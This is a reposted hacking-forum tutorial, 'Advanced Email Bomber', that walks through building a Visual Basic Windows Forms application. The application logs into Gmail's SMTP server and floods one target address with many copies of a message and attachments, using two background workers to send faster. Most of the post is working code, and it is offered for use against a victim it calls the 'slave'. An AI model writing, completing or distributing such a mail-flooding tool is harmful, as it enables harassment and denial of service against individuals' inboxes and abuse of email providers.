[TuT] [VB] Advanced Email Bomber
not mine, taken from hackforums.net.
-----------------------------------------------
How to make an Advanced Email Bomber / Spammer
Written By: No0b
Hello Hackforums,
I thought I should write up a tutorial on hwo to make an advanced email spammer because most people use Timers, which are really slow.
Lets begin.
Step 1:
Start a new Visual Basic project and select Windows Forms Application.
Name it whatever you like.
Step 2: Form Design
Add the following:
5 Textboxes, Leave the names as it is. They are for: Gmail Username, Gmail Password, slave's address, Email Subject and Message body (make it's Multiline property to True).
List Box for the attachments.
5 buttons, set their text properties as follows:
Button1 - Send
Button2 - Cancel
Button3 - Exit
Button4 - Select Attachments
Button5 - Clear Attachments
Numeric UpDown to select the number of mails you are going to send (for now, set it's maximum value to 100)
A progressbar
2 Background Workers
1 OpenFileDialogue
You should have something like this:
http://i46.tinypic.com/23tg6c.jpg
That takes care of the design, lets get into the coding:
Imports:
Code:
Code:
Imports System.Net.Mail
Global Variables:
Code:
Code:
Dim sendammount As Integer = 0
Dim sendammount1 As Integer = 0
Dim sendammountdevided As Integer
Dim p As Integer
Double click button3 and add the code:
Double click Button2 and add code:
Code:
Code:
BackgroundWorker1.CancelAsync()
BackgroundWorker2.CancelAsync()
Add this code under the End Sub of Button2:
Code:
Code:
Private Sub BackgroundWorker1_ProgressChanged(ByVal sender As System.Object, ByVal e As System.ComponentModel.ProgressChangedEventArgs) Handles BackgroundWorker1.ProgressChanged
ProgressBar1.Value = e.ProgressPercentage * 2
End Sub
Private WithEvents TestWorker As System.ComponentModel.BackgroundWorker
Double click button1 and add the code:
Code:
sendammountdevided = 0
sendammount1 = 0
sendammount = 0
ProgressBar1.Value = 0
ProgressBar1.Update()
If NumericUpDown1.Value Mod 2 <> 0 Then
NumericUpDown1.Text = NumericUpDown1.Text + 1
NumericUpDown1.Update()
MsgBox("Blah! I hate odd numbers." + vbNewLine + "I will be adding 1 more!" + vbNewLine + "Making the total number of messages sent " + NumericUpDown1.Text + ".")
End If
sendammountdevided = NumericUpDown1.Value / 2
Button1.Enabled = False
Button3.Enabled = False
Button2.Enabled = True
BackgroundWorker1.RunWorkerAsync()
BackgroundWorker2.RunWorkerAsync()
ProgressBar1.Maximum = NumericUpDown1.Value
ProgressBar1.Value = 0
TestWorker = New System.ComponentModel.BackgroundWorker
Double Click BackgroundWorker1:
Code:
Code:
Dim MyMailMessage1 As New MailMessage()
MyMailMessage1.From = New MailAddress(TextBox1.Text)
MyMailMessage1.To.Add(TextBox3.Text)
MyMailMessage1.Subject = (TextBox4.Text)
MyMailMessage1.Body = TextBox5.Text
For counter = 0 To ListBox1.Items.Count - 1
Dim Attach As Net.Mail.Attachment = New Net.Mail.Attachment(ListBox1.Items(counter))
MyMailMessage1.Attachments.Add(Attach)
Next
Dim SMTPServer As New SmtpClient("smtp.gmail.com")
SMTPServer.Port = 587
SMTPServer.Credentials = New System.Net.NetworkCredential(TextBox1.Text, TextBox2.Text)
SMTPServer.EnableSsl = True
Do Until sendammount = sendammountdevided
If BackgroundWorker1.CancellationPending Then
Exit Sub
End If
SMTPServer.Send(MyMailMessage1)
sendammount = sendammount + 1
BackgroundWorker1.ReportProgress(sendammount, sendammount)
Loop
MsgBox("Done!")
Double click BackgroundWorker2:
Code:
Code:
Dim MyMailMessage As New MailMessage()
MyMailMessage.From = New MailAddress(TextBox1.Text)
MyMailMessage.To.Add(TextBox3.Text)
MyMailMessage.Subject = (TextBox4.Text)
MyMailMessage.Body = TextBox5.Text
Dim SMTPServer As New SmtpClient("smtp.gmail.com")
SMTPServer.Port = 587
For counter = 0 To ListBox1.Items.Count - 1
Dim Attach As Net.Mail.Attachment = New Net.Mail.Attachment(ListBox1.Items(counter))
MyMailMessage.Attachments.Add(Attach)
Next
SMTPServer.Credentials = New System.Net.NetworkCredential(TextBox1.Text, TextBox2.Text)
SMTPServer.EnableSsl = True
Do Until sendammount1 = sendammountdevided
If BackgroundWorker2.CancellationPending Then
Exit Sub
End If
SMTPServer.Send(MyMailMessage)
sendammount1 = sendammount1 + 1
Loop
Double click button4:
Code:
Code:
OpenFileDialog1.ShowDialog()
Double click OpenFileDialogue1:
Code:
For Each track As String In OpenFileDialog1.FileNames
ListBox1.Items.Add(track)
Next
And just add this code at the ending, before End Class:
Code:
Code:
Private Sub donework(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles BackgroundWorker1.RunWorkerCompleted
Button1.Enabled = True
Button3.Enabled = True
Button2.Enabled = False
End Sub
Thats it. Advanced bomber made simple.
Credits:
Me
Nathan for the source
Thanks for reading, please post your feedback.
Made by --([-S7N-])-- of HackForums